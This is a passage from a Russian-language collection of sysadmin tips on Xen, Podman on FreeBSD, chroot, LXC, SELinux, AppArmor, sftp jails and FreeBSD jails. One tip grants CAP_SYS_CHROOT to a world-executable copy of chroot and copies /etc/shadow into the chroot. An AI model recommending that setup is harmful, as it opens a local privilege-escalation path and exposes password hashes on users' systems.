    
       cd /usr/src
       hg clone -r 4.0.0 http://xenbits.xensource.com/xen-unstable.hg
       cd xen-unstable.hg
    
    Собираем 
    
       make xen
       make tools
       make stubdom
       make install-xen
       make install-tools PYTHON_PREFIX_ARG=
       make install-stubdom
    
       update-rc.d xend defaults 20 21
       update-rc.d xendomains defaults 21 20
    
    Настраиваем Grub2 через создание файла /etc/grub.d/40_custom:
    
       #!/bin/sh
       exec tail -n +3 $0
         menuentry "Xen 4.0.0-rc8 / Ubuntu 10.4 kernel 2.6.32.10 pvops" {
         insmod ext2
         set root=(hd0,1)
         multiboot (hd0,1)/xen-4.0.0.gz dummy=dummy
         module (hd0,1)/vmlinuz-2.6.32.10 dummy=dummy root=/dev/mapper/HyperDeskVG01-tcmc-dell-lucid ro
         module (hd0,1)/initrd.img-2.6.32.10
       }
    
    Не забудьте изменить значение параметра "root=" на корневой раздел текущей системы.
    
    Обновляем параметры Grub:
    
       update-grub
    
    Перезагружаем систему с dom0-ядром:
    
       reboot
    
    Проверяем работает ли Xen:
    
       xm list
       xm info
    
    Если нет, пытаемся выполнить:
    
       /etc/init.d/xendomains stop
       /etc/init.d/xend stop
       /etc/init.d/xend start
       /etc/init.d/xendomains start
    
     

       Помещение программ в chroot

    ----* Использование инструментария Podman для запуска контейнеров во FreeBSD (доп. ссылка 1)   [комментарии]
     
    Начиная с выпуска FreeBSD 14.2 стали формироваться образы контейнеров в
    формате  OCI (Open Container Initiative). Для запуска контейнеров на основе
    этих образов можно применять инструментарий Podman, который портирован для
    FreeBSD и доступен для установки из пакетов.
    
    Для загрузки предложены три варианта образов FreeBSD:
    
    
  • static - урезанное окружение для выполнения только статически собранных исполняемых файлов
  • dynamic - расширенный вариант окружения static с компонентами для использования разделяемых библиотек и запуска динамически скомпонованных исполняемых файлов.
  • minimal - дополняет вариант dynamic утилитами для формирования привычного консольного окружения с UNIX shell и пакетным менеджером. Установка Podman во FreeBSD. pkg install -r FreeBSD -y podman-suite emulators/qemu-user-static Настройка ZFS-раздела для контейнеров: zfs create -o mountpoint=/var/db/containers zroot/containers zfs snapshot zroot/containers@empty При желании использовать UFS вместо ZFS в /usr/local/etc/containers/storage.conf заменяем "zfs"/driver на "vfs": sed -I .bak -e 's/driver = "zfs"/driver = "vfs"/' \ /usr/local/etc/containers/storage.conf Создаём конфигурацию межсетевого экрана PF - /etc/pf.conf, используя пример /usr/local/etc/containers/pf.conf.sample. Перезапускаем PF sysctl net.pf.filter_local=1 service pf restart Монтируем /dev/fd: mount -t fdescfs fdesc /dev/fd Создаём необходимые для Podman файлы конфигурации, используя примеры: /usr/local/etc/containers/containers.conf.sample /usr/local/etc/containers/policy.json.sample /usr/local/etc/containers/registries.conf.sample /usr/local/etc/containers/storage.conf.sample Устанавливаем образы контейнеров minimal, dynamic и static с FreeBSD 4.2: export OCIBASE=https://download.freebsd.org/releases/OCI-IMAGES/14.2-RELEASE/amd64/Latest podman load -i=$OCIBASE/FreeBSD-14.2-RELEASE-amd64-container-image-minimal.txz podman load -i=$OCIBASE/FreeBSD-14.2-RELEASE-amd64-container-image-dynamic.txz podman load -i=$OCIBASE/FreeBSD-14.2-RELEASE-amd64-container-image-static.txz Проверяем список установленных образов контейнеров командами "podman images" и "buildah images": podman images REPOSITORY TAG IMAGE ID CREATED SIZE localhost/freebsd14-minimal 14.2-RELEASE-amd64 c5f3e77557a9 4 days ago 35.1 MB localhost/freebsd14-dynamic 14.2-RELEASE-amd64 ebf7538b22f4 4 days ago 15.9 MB localhost/freebsd14-static 14.2-RELEASE-amd64 7876fe59dbb3 4 days ago 5.45 MB buildah images REPOSITORY TAG IMAGE ID CREATED SIZE localhost/freebsd14-minimal 14.2-RELEASE-amd64 c5f3e77557a9 4 days ago 35.1 MB localhost/freebsd14-dynamic 14.2-RELEASE-amd64 ebf7538b22f4 4 days ago 15.9 MB localhost/freebsd14-static 14.2-RELEASE-amd64 7876fe59dbb3 4 days ago 5.45 MB Анализируем слои, образующие образ minimal, который является надстройкой над образами static и dynamic: podman image tree localhost/freebsd14-minimal:14.2-RELEASE-amd64 Image ID: c5f3e77557a9 Tags: [localhost/freebsd14-minimal:14.2-RELEASE-amd64] Size: 35.07MB Image Layers ├── ID: cd53fb07fb66 Size: 5.449MB Top Layer of: [localhost/freebsd14-static:14.2-RELEASE-amd64] ├── ID: a01d37f7777b Size: 10.4MB Top Layer of: [localhost/freebsd14-dynamic:14.2-RELEASE-amd64] └── ID: 36b0c80ca1f7 Size: 19.21MB Top Layer of: [localhost/freebsd14-minimal:14.2-RELEASE-amd64] Сверяем контрольные суммы образов: podman inspect localhost/freebsd14-minimal:14.2-RELEASE-amd64 Запускаем /bin/sh в контейнере: podman run -it localhost/freebsd14-minimal:14.2-RELEASE-amd64 /bin/sh
  •  
    ----* Работа с 32- и 64-разрядными chroot на примере Debian   Автор: Павел Отредиез  [комментарии]
     
    Я работаю в Debian testing ARCH=i386 с amd64 битным ядром. 64-битное ядро
    позволяет запускать и 64-битные программы и 32-битные.
    
       uname -ar
       Linux mainpc.tinyware.sytes.net 5.10.43-tinyware-amd64 #1 SMP Fri Jun 11 00:52:31 UTC 2021 x86_64 GNU/Linux
    
    
    32-битный userspace уже есть  в основной системе, хочется иметь 64-битный
    userspace как можно более прозрачно.
    
    Для этого подготовлен chroot:
    
       sudo mkdir /opt/debian64
       sudo debootstrap --arch amd64 stable /opt/debian64/ http://mirror.yandex.ru/debian/
    
    Надо сделать chroot полноценным, пробросив в него нужные файловые системы, для
    этого в /etc/fstab добавим
    
       /proc	/opt/debian64/proc	bind	bind,auto
       /dev	/opt/debian64/dev	bind	bind,auto
       /dev/pts	/opt/debian64/dev/pts	bind   bind,auto
       /sys	/opt/debian64/sys	bind	bind,auto
       /tmp	/opt/debian64/tmp	bind	bind,auto
       /home	/opt/debian64/home	bind	bind,auto
       /run	/opt/debian64/run	bind	bind,auto
    
    Теперь в него легко можно чрутиться от рута и это полноценное окружение.
    
       sudo chroot /opt/debian64
    
    Но хотелось бы запускать программы прямо от текущего пользователя. Для этого
    
       sudo cp /usr/sbin/chroot /usr/bin/uchroot
       sudo setcap CAP_SYS_CHROOT+ep /usr/bin/uchroot
    
    Теперь можно запускать программы из под обыкновенного пользователя
    
       $ uchroot /opt/debian64
    
    или сразу команду (можно добавить в ярлык)
    
       $ uchroot /opt/debian64 tuxguitar
    
    
    Так же для красоты можно скопировать в /opt/debian64 файлы /etc/passwd
    /etc/shadow /etc/group /etc/gshadow
    
     
    ----* Как сменить корень документов в Apache/nginx в CentOS 7 и RHEL 7 с SELinux   [комментарии]
     
    По умолчанию для Apache, nginx  и других http-серверов при использовании
    SELinux в CentOS 7 и RHEL 7 область видимости ограничена директорией /var/www.
    Для смены корня документов на /home/site следует включить новые директории в
    правила httpd_sys_content_t и httpd_sys_script_exec_t.
    
    
    Включаем временно:
       chcon -R -t httpd_sys_content_t /home/site
       chcon -R -t httpd_sys_script_exec_t /home/site/cgi-bin
    
    Включаем постоянно:
       semanage fcontext -a -t httpd_sys_content_t "/home/site(/.*)?"
       semanage fcontext -a -t httpd_sys_script_exec_t "/home/site/cgi-bin(/.*)?"
       restorecon -r -v /home/site
    
    
    Отслеживаем возможные проблемы в /var/log/audit/audit.log и при необходимости
    строим свои правила обхода. В качестве шаблона можно использовать результат
    работы утилиты audit2allow:
    
       audit2allow -M policy_name -i /var/log/audit/audit.log 
       semodule -i policy_name.pp
    
    
    Не забываем открыть доступ к сетевым портам на межсетевом экране:
       firewall-cmd --permanent --add-port=80/tcp
       firewall-cmd --permanent --add-port=443/tcp
    
     
    ----* Запуск Skype в изолированном окружении Apparmor (доп. ссылка 1)   [комментарии]
     
    Для защиты от потенциального доступа закрытого приложения Skype к данным других
    программ можно организовать выполнение Skype в изолированном окружении.
    
    Создаём профиль Apparmor на основе тестового запуска приложения:
    
       sudo genprof /usr/bin/skype
    
    После этого будет создан профиль для  сбора информации о работе приложения. В
    другой консоли запускаем Skype, делаем тестовый вызов и выходим из Skype.
    
    Повторно запускаем:
    
       sudo genprof /usr/bin/skype
    
    и инициируем сканирование накопленных событий, выбрав "S". В процессе вывода
    результатов выбираем что можно процессу, а что нет. В завершении жмём "S" для
    сохранения профиля и "F" для выхода.
    
    Профиль будет создан в файле /etc/apparmor.d/usr.bin.skype
    Если нет желания разбираться с составлением правил вручную можно использовать готовый профиль:
    
       #include <tunables/global>
       /usr/bin/skype {
          #include <abstractions/audio>
          #include <abstractions/base>
          #include <abstractions/fonts>
          #include <abstractions/nameservice>
          #include <abstractions/nvidia>
          /etc/gai.conf r,
          /home/*/.ICEauthority r,
          /home/*/.Skype/** krw,
          /home/*/.Xauthority r,
          /home/*/.config/* kr,
          /home/*/.kde/share/config/kioslaverc r,
          /proc/*/cmdline r,
          /tmp/.ICE-unix/* w,
          /tmp/.X11-unix/* w,
          /usr/bin/skype mr,
          /usr/share/X11/* r,
          /usr/share/icons/** r,
          /usr/share/skype/** kr,
        }
    
    Перезапускаем AppArmor:
    
       sudo /etc/init.d/apparmor restart
    
    Активируем работу Skype в sandbox-окружении Apparmor:
    
       sudo aa-enforce skype
    
    Проверяем результат:
    
     sudo sudo apparmor_status
    
     
    ----* Решение проблемы резолвинга имен в php-fpm в chroot-режиме   Автор: gara  [комментарии]
     
    В php-fpm chroot возникает проблема - не резолвятся DNS имена. В частности не
    работает функция gethostbyname.
    
    Причина проблемы в том, что в режиме chroot, php-fpm не видит файлов
    
       etc/hosts  
       etc/resolv.conf
       lib64/libnss_dns.so.2
    
       (или lib/libnss_dns.so.2 если система 32-х битная)
    
    Простейшим выходом является создание жестких ссылок внутрь chroot-окружения.
    Символические ссылки работать не будут, как и жесткие ссылки при размещении
    chroot-области на другом дисковом разделе, в этом случае нужно просто
    скопировать нужные файлы в chroot.
    
       #!/bin/bash
    
       export CHROOT_FPM="/opt/www/domain"
    
       mkdir $CHROOT_FPM/etc
       mkdir $CHROOT_FPM/lib64
    
       ln  /etc/hosts          $CHROOT_FPM/etc/hosts;
       ln /etc/resolv.conf     $CHROOT_FPM/etc/resolv.conf
    
       #ln /etc/nsswitch.conf     $CHROOT_FPM/etc/nsswitch.conf
       cp /lib64/libnss_dns.so.2  $CHROOT_FPM/lib64/libnss_dns.so.2
    
    
    Имя библиотеки libnss_dns возможно придется подкоректировать.
    После копирования/создания ссылок на нужные файлы, нужно обязательно перезапустить php-fpm.
    
     
    ----* Использование контейнеров LXC в Debian/Ubuntu   Автор: Heretic  [комментарии]
     
    Контейнеры LXC позволяют изолировать процессы и ресурсы, работающие в рамках
    одной операционной системы, не прибегая к использованию виртуализации.
    Положительным аспектом LXC является использование единого пространства
    системных буферов, например, единый для базовой системы и всех контейнеров
    дисковый кэш. Наиболее близкими аналогами LXC являются Solaris Zones и FreeBSD jail.
    
    В качестве серверной операционной системы была использована Ubuntu 10.04 LTS, в
    качестве виртуальных машин использован Debian Lenny.
    
    Организация сетевого соединения для контейнера.
    
    Воспользуемся сетевым мостом для создания общего сегмента сети.
    Устанавливаем пакеты для создания моста:
    
       sudo aptitude install bridge-utils
    
    Настроим мост, для этого приведем файл /etc/network/interfaces к следующему виду:
    
       # The loopback network interface
       auto lo
       iface lo inet loopback
    
       # Комментируем активные до настройки сетевого моста опции
       #allow-hotplug eth0
       #iface eth0 inet dhcp
    
       # Setup bridge
       auto br0
       iface br0 inet dhcp
        bridge_ports eth0
        bridge_fd 0
    
    Как можно увидеть из файла /etc/network/interfaces, eth0 закомментирован и
    добавлен новый интерфейс br0.
    
    Далее перезапускаем сеть:
    
        sudo /etc/init.d/networking restart
    
    Если использует ручная настройка сети, то нужно сделать так:
    
       auto br0
       iface br0 inet static
        bridge_ports eth0
        bridge_fd 0
        address 192.168.82.25
        netmask 255.255.255.0
        gateway 192.168.82.1
        dns-nameservers 192.168.82.1
    
    Установка LXC, установка cgroups
    
    Установим lxc: 
    
       sudo aptitude install lxc
    
    Создадим директорию /cgroup и примонтируем cgroup (может быть где угодно):
    
       sudo mkdir /cgroup
    
    Добавляем следующие строки в /etc/fstab:
    
       cgroup        /cgroup        cgroup        defaults    0    0
    
    И монтируем cgroups:
    
       sudo mount cgroup
    
    До того как начать собирать контейнер, проверим окружение через lxc-checkconfig:
    
    
       lxc-checkconfig
    
       Kernel config /proc/config.gz not found, looking in other places...
       Found kernel config file /boot/config-2.6.32-3-686
       --- Namespaces ---
       Namespaces: enabled
       Utsname namespace: enabled
       ...
    
    Все параметры должны быть включены (для ubuntu 10.04, в Debian squeeze Cgroup
    memory controller: disabled ).
    
    Создание первого контейнера
    
    Мы будем использовать оригинальную версию скрипта lxc-debian, он находится в
    файле /usr/share/doc/lxc/examples/lxc-debian.gz.
    
    Скопируем файл /usr/share/doc/lxc/examples/lxc-debian.gz в /usr/local/sbin/
    распакуем его и поставим бит запуска:
    
       sudo cp /usr/share/doc/lxc/examples/lxc-debian.gz /usr/local/sbin/
       sudo gunzip /usr/local/sbin/lxc-debian.gz
       sudo chmod +x /usr/local/sbin/lxc-debian
    
    Перед запуском этого скрипта требуется установить debootstrap.
    
       sudo aptitude install debootstrap
    
    Теперь сделаем первую вирутальную машину. По умолчанию директория развертывания
    контейнеров находится в /var/lib/lxc/ , параметром -p можно указать
    произвольное расположение вируальной машины.
    
       sudo mkdir -p /lxc/vm0
       sudo lxc-debian -p /lxc/vm0
    
    Это может занять некоторое время. Скрипт так же настроит локаль. После
    окончания установки нужно настроить виртуальную машину.
    Идем в /lxc/vm0 и правим файл конфигурации (config):
    
       lxc.tty = 4
       lxc.pts = 1024
       lxc.rootfs = /srv/lxc/vm0/rootfs
       lxc.cgroup.devices.deny = a
       # /dev/null and zero
       lxc.cgroup.devices.allow = c 1:3 rwm
       lxc.cgroup.devices.allow = c 1:5 rwm
       # consoles
       lxc.cgroup.devices.allow = c 5:1 rwm
       lxc.cgroup.devices.allow = c 5:0 rwm
       lxc.cgroup.devices.allow = c 4:0 rwm
       lxc.cgroup.devices.allow = c 4:1 rwm
       # /dev/{,u}random
       lxc.cgroup.devices.allow = c 1:9 rwm
       lxc.cgroup.devices.allow = c 1:8 rwm
       lxc.cgroup.devices.allow = c 136:* rwm
       lxc.cgroup.devices.allow = c 5:2 rwm
       # rtc
       lxc.cgroup.devices.allow = c 254:0 rwm
    
       # <<<< Добавляем эти строки
       lxc.utsname = vm0
       lxc.network.type = veth
       lxc.network.flags = up
       lxc.network.link = br0
       # lxc.network.name = eth0
       # lxc.network.hwaddr = 00:FF:12:34:56:78
       lxc.network.ipv4 = 192.168.82.28/24
    
    
    Рассмотрим параметры поподробнее:
    
    lxc.utsname = vm0 Имя хоста виртуальной машины
    
    lxc.network.type = veth Тип сети с которой работаем (man lxc.conf), используем
    veth если работаем с мостом.
    
    lxc.network.flags = up Сообщаем что нужно поднимать сетевой интерфейс при запуске системы.
    
    lxc.network.link = br0 Мост через который будет работать вируальный интерфейс.
    
    lxc.network.name = eth0 Имя сетевого интерфейса в контейнере. Если не 
    устанавливать будет eth0, по умолчанию.
    
    lxc.network.hwaddr = 00:FF:12:34:56:78 Мак адрес устройства которое используется.
    
    lxc.network.ipv4 = 192.168.82.28/24 Сетевой адрес который будет присвоен виртуальному интерфейсу.
    
    Так же требуется отредактировать /etc/network/interfaces в контейнере (/lxc/vm0/rootfs/etc/network/interfaces)
    
    Создаем контейнер который связывает имя конрейнера с файлом настроек. Имя будет
    использовано для управления единичным контейнером.
    
       sudo lxc-create -n vm0 -f /lxc/vm0/config
    
    Запустим вируальную машину.
    
       sudo lxc-start -n vm0 -d
    
    Проверяем запущена ли она:
    
       sudo lxc-info -n vm0
    
       'vm0' is RUNNING
    
    Теперь можно подключиться к консоли контейнера используя lxc-console:
    
       sudo lxc-console -n vm0
    
    Вводим имя пользователя root и получаем вход в систему (без пароля).
    Устанавливаем пароль пользователю root:
    
       sudo passwd
    
    Добавляем не привилегированного пользователя.
    
       sudo adduser admin
    
    Хорошо наш контейнер работает, теперь остановим его делается это следующим образом:
    
       sudo lxc-stop -n vm0
    
    И проверяем его статус через lxc-info
    
       sudo lxc-info -n vm0
       'vm0' is STOPPED
    
    
    Еще один контейнер
    
    У нас есть контейнер vm0 с минимальной системой и установленными паролями рута
    и не привилегированного пользователя, из этого контейнера клонируем еще один.
    Для этого первая виртуальная машина должна быть остановлена. Создаем папку vm1
    в /lxc и копируем туда содержимое vm0
    
       cd /lxc
       sudo mkdir vm1
       sudo cp -Rv ./vm0/* ./vm1/
       cd ./vm1/
    
    Теперь нужно подправить файл конфигурации для vm1 (сеть, имя и т.д.)
    
    Ограничения
    
    
    При настройке Xen или KVM можно настроить количество памяти, количество
    виртуальных процессов, а так же настроить планировщик. Это же можно сделать с
    помощью cgroups в LXC. Прежде нужно запомнить что все настройки cgroup
    полностью динамические, т.е. вы можете их изменять в любое время, так что
    будьте осторожны.
    
    Все значения cgroup можно задать следующими способами:
    
       lxc-cgroup -n vm0 <cgroup-name> <value>
       echo <value> > /cgroup/vm0/<cgroup-name>
    
    в конфигурационном файле: "lxc.cgroup.<cgroup-name> = <value>"
    
    В примерах будем использовать настройку через конфигурационный файл.
    
    Для обозначения размера, например памяти, можно использовать K, M или G, например:
    
       echo "400M" > /cgroup/vm0/memory.limit_in_bytes
    
    Допустимые параметры. Для начала, мы можем посмотреть в каталог /cgroup/vm0
    (если vm0 не запущен - запустите сейчас). Мы можем увидеть следующее:
    
       ls -1 /cgroup/vm0/
    
       cgroup.procs
       cpuacct.stat
       cpuacct.usage
       cpuacct.usage_percpu
       cpuset.cpu_exclusive
       cpuset.cpus
       cpuset.mem_exclusive
       cpuset.mem_hardwall
       cpuset.memory_migrate
       cpuset.memory_pressure
       cpuset.memory_spread_page
       cpuset.memory_spread_slab
       cpuset.mems
       cpuset.sched_load_balance
       cpuset.sched_relax_domain_level
       cpu.shares
       devices.allow
       devices.deny
       devices.list
       freezer.state
       memory.failcnt
       memory.force_empty
       memory.limit_in_bytes
       memory.max_usage_in_bytes
       memory.memsw.failcnt
       memory.memsw.limit_in_bytes
       memory.memsw.max_usage_in_bytes
       memory.memsw.usage_in_bytes
       memory.soft_limit_in_bytes
       memory.stat
       memory.swappiness
       memory.usage_in_bytes
       memory.use_hierarchy
       net_cls.classid
       notify_on_release
       tasks
      
    Не будем вдаваться в описание каждого параметра, подробно можно посмотреть здесь.
    
    Ограничение памяти и файла подкачки
    
    Не снижайте количество памяти для запущенного контейнера, если вы не уверены что делаете.
    Максимальное количество памяти для виртуальной машины:
    
       lxc.cgroup.memory.limit_in_bytes = 256M
    
    Максимальное количество swap для виртуальной машины:
    
       lxc.cgroup.memory.memsw.limit_in_bytes = 1G
    
    Больше информации по работе с памятью можно найти  здесь.
    
    Ограничение CPU
    
    Есть два варианта ограничения CPU. Первый, можно ограничить через планировщик и
    второй - можно ограничить через cgroup.
    
    Планировщик 
    Планировщик работает следующим образом: Можно присвоить vm0 значение 10 и vm1
    значение 20. Это означает что каждую секунду процессорного времени vm1 получит
    двойное количество циклов процессора. По умолчанию значение установлено в 1024.
    
       lxc.cgroup.cpu.shares = 512
    
    Больше о планировщике CPU читаем здесь.
    
    Так же можно установить количество используемых процессоров в контейнере.
    Допустим у вас 4 CPU, то по умолчанию для всех является значение 0-3
    (использовать все процессоры).
    
    Использовать первый cpu:
    
       lxc.cgroup.cpuset.cpus = 0
    
    использовать первый, второй и последний cpu.
    
       lxc.cgroup.cpuset.cpus = 0-1,3
    
    использовать первый и последний cpu.
    
       lxc.cgroup.cpuset.cpus = 0,3
    
    Подробнее здесь.
    
    Ограничение жесткого диска
    
    Пока это нельзя сделать через cgroups, но можно сделать через LVM.
    
    
    Как безопасно остановить виртуальную машину
    
    lxc-stop просто убивает родительский процесс lxc-start, если  требуется
    безопасно выключить, то в настоящие время не существует другого решения, как
    остановить виртуальную машину через SSH или lxc-console:
    
       sudo lxc-console -n vm0
       #vm0> init 0
    
    Нужно подождать пока остановятся все процессы (за этим можно понаблюдать через
    pstree или htop) и затем останавливаем виртуальную машину.
    
       sudo lxc-stop -n vm0
    
    Как навсегда удалить виртуальную машину
    
    Останавливаем виртуальную машину и используем команду lxc-destroy
    
       sudo lxc-destroy -n vm0
    
    Она удалит все файлы из /lxc/vm0, так сказано в документации, но она не удалила
    файлы из каталога поэтому пришлось удалять самому.
    
    Как заморозить и "разморозить" контейнер
    
    LXC может заморозить все процессы в запущенном контейнере, тем самым LXC просто
    блокирует все процессы.
    
       sudo lxc-freeze -n vm0
    
    После запуска все будет записано в память (и swap).
    
    Использованные источники
    * http://www.ibm.com/developerworks/ru/library/l-lxc-containers/
    * https://help.ubuntu.com/community/LXC
    * http://blog.bodhizazen.net/linux/lxc-configure-ubuntu-lucid-containers/
    * http://blog.bodhizazen.net/linux/lxc-linux-containers/
    * http://lxc.teegra.net/#_setup_of_the_controlling_host
    * http://blog.foaa.de/2010/05/lxc-on-debian-squeeze/#pni-top0
    
     
    ----* Подготовка chroot-окружения в Debian или Ubuntu (доп. ссылка 1)   [комментарии]
     
    Для создания chroot-окружения в Debian или Ubuntu можно использовать пакет
    debootstrap, а для управления - schroot.
    
      apt-get install debootstrap
    
    Создадим минимальный chroot в Ubuntu:
    
      debootstrap --variant=buildd --arch i386 hardy /home/chroot_web http://archive.ubuntu.com/ubuntu/
    
    в Debian:
    
      debootstrap --arch i386 lenny /home/chroot_web http://ftp.us.debian.org/debian
    
    при этом в Ubuntu можно создавать chroot на базе Debian и наоборот.
    
    Для последующей установки пакетов из chroot копируем файлы конфигурации APT и резолвера:
    
      cp /etc/resolv.conf /home/chroot_web/etc/resolv.conf
      cp /etc/apt/sources.list /home/chroot_web/etc/apt/
    
    Заходим в chroot-окружение:
    
      sudo chroot /home/chroot_web
    
    Устанавливаем в нем apache:
    
     apt-get update
     apt-get install apache2
    
    Устанавливаем необходимые для работы и сборки пакетов составляющие:
    
      apt-get --no-install-recommends install wget debconf devscripts gnupg
      apt-get update
    
    Конфигурируем локаль:
    
      apt-get install locales dialog
      locale-gen ru_RU.UTF-8
      tzselect; TZ='Europe/Moscow';
    
    Пробрасываем в chroot системные псевдо ФС, в /etc/fstab основной системы добавляем:
    
       /proc /home/chroot_web/proc none rbind 0 0
       /dev /home/chroot_web/dev none rbind 0 0
       /sys /home/chroot_web/sys none rbind 0 0
    
    Запускаем сервис:
       chroot /home/chroot_web /etc/init.d/apache2 start
    
    Когда chroot-окружений много или внутри chroot запускается несколько сервисов
    для управления удобно использовать schroot
    
       apt-get install schroot
    
    Создаем /etc/schroot/schroot.conf:
    
       [hardy]
       description=Apache Chroot
       location=/home/chroot_web
       priority=3
       users=webuser
       groups=sbuild
       root-groups=root
    
    Запускаем все chroot-окружения и определенные в них сервисы:
    
       schroot --all -- su -c /etc/init.d/rc\ 2 -
    
     
    ----* Подготовка chroot-окружения в Red Hat-подобных Linux (доп. ссылка 1)   [комментарии]
     
    Формирование Chroot-окружения в CentOS, Fedora и RHEL.
    
    Создаем БД для пакетного менеджера RPM внутри создаваемого chroot:
       mkdir -p /home/chroot_web/var/lib/rpm
       rpm --root /home/chroot_web --initdb
    
    Загружаем базовые пакеты с описанием текущего релиза Fedora Linux (для CenOS
    пишем centos-release, для RHEL - redhat-release):
       yumdownloader --destdir=/var/tmp fedora-release
       cd /var/tmp
       rpm --root /home/chroot_web -ivh --nodeps fedora-release*rpm
    
    Ставим в chroot apache и все необходимые для его работы зависимости, в итоге
    получим минимальную систему для работы httpd:
    
      yum --installroot=/home/chroot_web -y install httpd
    
    После настройки Apache запускаем его:
    
      chroot /home/chroot_web /usr/sbin/apachectl start
    
     
    ----* Помещение OpenSSH пользователей в изолированное sftp окружение (доп. ссылка 1)   [комментарии]
     
    Начиная с релиза 4.9 в OpenSSH появилась возможность помещать отдельных
    пользователей в изолированное окружение.
    Помещение в chroot управляется через директиву ChrootDirectory, задаваемую в
    конфигурационном файле sshd_config.
    При задействовании sftp-server интегрированного в sshd, при этом не требуется
    формирование специального chroot окружения.
    
    Пример помещения в chroot:
    
       AllowUsers user1 user2 user3@192.168.1.1 user3@192.168.2.*
       Match user user2, user3
             ChrootDirectory /home/%u
             X11Forwarding no
             AllowTcpForwarding no
             ForceCommand internal-sftp
    
       Subsystem       sftp    internal-sftp
    
    Пользователь user1 имеет возможность входа в shell, в то время как user2 и
    user3 могут работать только по sftp,
    без возможность выхода за пределы своей домашней директории.
    При этом user3 может входить только с машины 192.168.1.1 и подсети 192.168.2.0/24.
    
    Опция "ForceCommand internal-sftp" разрешает пользователю использовать только
    sftp, встроенный в sshd.
    
    Директория, в которую происходит chroot пользователя (не имеет значения, ssh или sftp), 
    должна принадлежать пользователю root и права на запись должны принадлежать
    только владельцу (750, например).
    
    При необходимости пускать пользователей в shell, необходимо сформировать
    минимальное chroot-окружение,
    скопировав туда необходимые для работы программы и библиотеки.
    
    Например, создадим для пользователей, входящих в группу chrootusers, окружение /home/chroot
    
    В /etc/ssh/sshd_config добавим:
    
       Match Group chrootusers
           ChrootDirectory /home/chroot
           X11Forwarding no
           AllowTcpForwarding no
    
    Для формирования chroot можно использовать скрипт make_chroot_jail.sh,
    поддерживающий Debian, Suse, Fedora и Redhat Linux:
       http://www.fuschlberger.net/programs/ssh-scp-sftp-chroot-jail/
    
    Также можно порекомендовать скрипт sync_chroot.pl (ftp://ftp.opennet.ru/pub/security/chroot/ ), 
    который автоматически находит и копирует в chroot недостающие библиотеки для
    находящихся внутри chroot программ.
    
    Рассмотрим создание chroot в Debian или Ubuntu Linux.
    
    Установим необходимые для работы скрипта утилиты:
    
       apt-get install sudo debianutils coreutils
    
    Копируем скрипт make_chroot_jail.sh:
    
       wget http://www.fuschlberger.net/programs/ssh-scp-sftp-chroot-jail/make_chroot_jail.sh
       chmod 700 ./make_chroot_jail.sh
    
    Определяем список программ для chroot-окружения, в make_chroot_jail.sh находим
    строки и меняем на свое усмотрение:
    
       ...
       elif [ "$DISTRO" = DEBIAN ]; then
         APPS="/bin/bash /bin/cp /usr/bin/dircolors /bin/ls /bin/mkdir \
         /bin/mv /bin/rm /bin/rmdir /bin/sh /bin/su /usr/bin/groups \
         /usr/bin/id /usr/bin/rsync /usr/bin/ssh /usr/bin/scp \
         /sbin/unix_chkpwd /usr/bin/vi"
       else
       ...
    
    Формат вызова скрипта:
       make_chroot_jail.sh логин путь_к_shell путь_к_chroot
    
    Для создания окружения с shell по умолчанию bash для пользователя user1 выполним:
    
       ./make_chroot_jail.sh user1 /bin/bash /home/jail
    
    При этом скрипт автоматически скопирует все недостающие в chroot файлы и
    создаст директорию /home/jail/user1
    
    После обновления базовой системы, обновить chroot можно командой:
    
       ./make_chroot_jail.sh update /bin/bash /home/jail
    
     
    ----* Монтирование директории пользователя при его входе в Linux систему (доп. ссылка 1)   [комментарии]
     
    Имеем: неизменную базовую /home директорию.
    Хотим: отдельно держать изменения внесенные пользователями, чтобы они не влияли на базовую /home.
                изменения держать в рамдиске, так чтобы они не сохранялись при следующем входе
    Решение: 
      - unionfs - для отделения данных пользователя от read-only основы.
      - tmpfs - для создания /tmp директории с временными файлами, хранимой в ОЗУ.
      - pam-mount (http://pam-mount.sourceforge.net/) - PAM модуль для автоматического 
      монтирования разделов в момент входа пользователя в систему.
    
    Устанавливаем пакеты (пример для Debian  и Ubuntu):
       apt-get install unionfs-modules-`uname -r`
       apt-get install libpam-mount 
    
    Настраиваем pam_mount (/etc/security/pam_mount.conf)
    
       volume debiosk tmpfs - tmpfs /tmp/tmpfs "size=15M,uid=debiosk,gid=debiosk,mode=0700" - - 
       volume debiosk unionfs - unionfs /home/debiosk "dirs=/tmp/tmpfs:/home/debiosk=ro" - - 
    
    
    где
     "volume" - ключевое слово, сигнализирующее об описании раздела;
     "debiosk" - имя пользователя, для которого определены правила монтирования;
      "tmpfs" - тип файловой системы;
      " - " - сигнализирует о неиспользовании монтирования с удаленного сервера;
      "/tmp/tmpfs" - точка монтирования;
      "size=15M,uid=debiosk,gid=debiosk,mode=0700" - параметры монтирования tmpfs:
              "size=15m," - размер;
              "uid=debiosk,gid=debiosk,"  - владелец;
              "mode=0700" - права доступа;
       "dirs=/tmp/tmpfs:/home/debiosk=ro" - параметры монтирования unionfs: 
               указывают отобразить изменения /home/debiosk в директории /tmp/tmpfs
    
    
    Добавляем строку "@include common-pammount" в /etc/pam.d/login, /etc/pam.d/su и /etc/pam.d/xdm 
    
    Теперь пользователь debiosk каждый раз будет получать исходную домашнюю директорию,
    а изменения будут действовать только в пределах сессии.
    
     
    ----* Быстрое создание jail-машины во FreeBSD (доп. ссылка 1)   Автор: mr-tacitus  [комментарии]
     
    Нам понадобится первый установочный диск FreeBSD 6.2 и немного свободного времени. 
    Предполагается что наша jail-машина будет размещена в директории /var/jail.
    
    Список действий:
    
    1. Создать директорию /var/jail/machine для jail-машины;
    
    2. Смонтировать установочный диск и распаковать базовые файлы в директорию jail-машины:
    
       # mount /cdrom
    
    для bash:
    
       # DESTDIR=/var/jail/machine /cdrom/6.2-RELEASE/base/install.sh
    
    для csh:
    
       # env DESTDIR=/var/jail/machine /cdrom/6.2-RELEASE/base/install.sh
    
    3. Создать пустой файл /var/jail/machine/etc/fstab:
    
       # touch /var/jail/machine/etc/fstab
    
    4. Создать файл /var/jail/machine/etc/rc.conf со следующим содержанием:
    
       # Запускаем sshd
       sshd_enable="YES"
       sendmail_enable="NONE"
       syslogd_flags="-ss"
       rpcbind_enable="NO"
       network_interfaces=""
    
    5. Теперь требуется создать непривилегированного пользователя и    изменить
    пароль пользователя root.
    Входим в каталог jail-машины
    
       # chroot /var/jail/machine /bin/csh
    
    Создаем пользователя
    
       # adduser
    
    Меняем пароль пользователя root
    
       # passwd
       # exit
    
    6. В файл /etc/rc.conf основной системы добавить:
    
